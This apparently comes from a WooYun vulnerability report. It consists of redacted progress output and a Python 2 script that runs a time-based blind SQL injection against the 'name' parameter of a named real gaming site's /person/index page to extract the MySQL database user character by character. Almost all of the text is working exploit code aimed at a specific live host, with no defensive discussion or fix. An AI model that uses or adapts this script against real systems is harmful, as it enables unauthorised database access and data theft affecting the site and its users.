WooYun.org

[in progress] [email protected]
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
[in progress] [email protected].
. . . . . . . . . . . . . . . . . . . . . . . . . . . .
[in progress] [email protected]
. . . . . . . . . . . . . . . . . . . . . . . . . . . .
[in progress] [email protected]
. . . . . . . . . . . . . . . . . . . . . . . . . . . .
[in progress] [email protected]
李姐姐的脚本:
#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {
'Cookie': '',
'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
payloads = list(string.ascii_lowercase)
for i in range(0, 10):
payloads.append(str(i))
payloads += ['@','_', '.']
print 'start to retrive MySQL user:'
user = ''
for i in range(0, 40):
for payload in payloads:
conn = httplib.HTTPConnection('lolnewbf.178.com', timeout=60)
s = '262120442222\' and ' \
'sleep(1-abs(sign(ascii(mid(lower(user())from(%s)for(1)))-%s))) ' \
'AND \'TpeR\'=\'TpeR' % (i, ord(payload))
conn.request(method='GET',
url='/person/index?server=卡拉曼达&name='+urllib.quote(s),
headers=headers)
start_time = time.time()
conn.getresponse().read().decode('utf-8')
if time.time() - start_time > 1.0:
user += payload
print '\n[in progress]', user
break
else:
print '.',
print '\nMySQL user is', user